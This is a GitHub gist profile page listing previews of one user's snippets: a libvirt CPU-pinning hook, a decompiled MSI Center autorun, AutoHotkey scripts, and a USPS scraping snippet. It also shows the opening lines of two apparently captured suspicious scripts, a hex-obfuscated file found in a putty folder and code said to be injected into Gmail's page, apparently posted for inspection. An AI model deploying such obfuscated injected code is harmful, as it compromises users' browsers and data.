Skip to content

Instantly share code, notes, and snippets.

View AskAlice's full-sized avatar
(>゚ヮ゚)> ~ much love 💖

Alice Knag AskAlice

(>゚ヮ゚)> ~ much love 💖
View GitHub Profile
#!/bin/bash
# Stop on error
# set -e
set -x
# Execution variables
OBJECT="${1}" # emu
OPERATION="${2}" # prepare / release
ACTION="${3}" # end / begin
XML="/etc/libvirt/qemu/${OBJECT}.xml"

Haven't seen anyone do this before, would be intereseted if anyone is able to figure out how to handle multiple VMs. At the moment if you pin with two VMs then shutdown one, the system will no longer pin any CPU. I call this from the base qemu hook located here

#!/bin/bash

set -x
VM_NAME="$1"
VM_ACTION="$2/$3"
@AskAlice
AskAlice / FixNorton.cs
Last active January 28, 2023 05:29
MSI Center Autorun on task scheduler named FixNorton.exe
// Decompiled with JetBrains decompiler
// Type: FixNorton.Program
// Assembly: FixNorton, Version=1.2022.1219.1, Culture=neutral, PublicKeyToken=null
// MVID: 7D841D22-1B30-498A-B772-DA82A5EEF8E7
// Assembly location: C:\Program Files (x86)\MSI\MSI Center\PushCast\Push20221215131801\FixNorton.exe
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@AskAlice
AskAlice / m12o.js
Created January 21, 2022 00:48
was stored in D:\putty\New Folder
var _0xbfe4 = [
'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A',
'\x27\x20\x27',
'\x20\x46\x69\x6C\x65\x20\x4E\x6F\x74\x20\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x65\x64',
'\x31\x31\x37\x38\x39\x37\x51\x68\x79\x42\x63\x73',
'\x32\x31\x7A\x52\x57\x76\x78\x53',
'\x73\x68\x69\x66\x74',
'\x33\x35\x6A\x72\x58\x72\x72\x71',
'\x20\x41\x6C\x72\x65\x61\x64\x59\x20\x4F\x70\x65\x6E\x6E\x65\x64\x21',
'\x32\x33\x33\x35\x37\x38\x30\x73\x72\x4A\x48\x47\x4C',
@AskAlice
AskAlice / vscode-settings.txt
Created January 13, 2022 00:25
vscode-settings
.
#SingleInstance Force
#MaxThreadsPerHotkey 10
#MaxHotKeysPerInterval 200
SetBatchLines, -1
AutoTrim, Off
AlphaIncrement = 1
^+MButton::
; GetKeyState, ShiftState, Shift
This file has been truncated, but you can view the full file.
{
"SHJ": {
"country_code": "AE",
"region_name": "Ash Shariqah",
"iata": "SHJ",
"icao": "OMSJ",
"airport": "Sharjah International Airport",
"latitude": 25.32859993,
"longitude": 55.51720047
},
@AskAlice
AskAlice / gist:c6d0f82eae6feed75c0a1e1c7f31fb6e
Created September 1, 2021 23:35
USPS informed delivery scraping
const packages = [];
document.querySelectorAll("div.pack_row").forEach(package => {
let pack = {}
const details = package.querySelector(".pack_details #coltextR2");
const greenText = details.querySelector("span:nth-child(5)")?.innerText;
pack.provider = greenText?.startsWith("Delivered at") ? undefined : greenText;
pack.trackingNumber = details.querySelector(".pack_h4").innerText.replace("/\s/g", "");
const statusArray = package.querySelector(".pack_coltext").innerText.trim().replace(/[\s\t]{2,}/g,"~~").split("~~");
const statusKeys = ["status","longStatus","date"];
pack = {...pack, ...Object.fromEntries(statusKeys.map((_, i) => [statusKeys[i], statusArray[i]]))}
@AskAlice
AskAlice / G6vMvuJtiW.js
Last active July 3, 2020 14:06
this was injected into mail.google.com's DOM
var x2A_a = null;
var x2A_b = false;
var ao_subid = '';
var x2A_c = false;
var x8E_a = 'XMI6a9Ur';
var x8E_b = 'G6vMvuJtiW';
var x8E_c = '0SCyw4DmYq';
var x8E_d = 'res';
var x8E_e = 'q';
var x8E_f = 'rc';
@AskAlice
AskAlice / windowTransparency.ahk
Last active August 12, 2020 21:47
Change any window's transparency with Ctrl+Shift+Scroll
#SingleInstance Force
#MaxThreadsPerHotkey 10
#MaxHotKeysPerInterval 200
SetBatchLines, -1
AutoTrim, Off
AlphaIncrement = 1
^+MButton::
; GetKeyState, ShiftState, Shift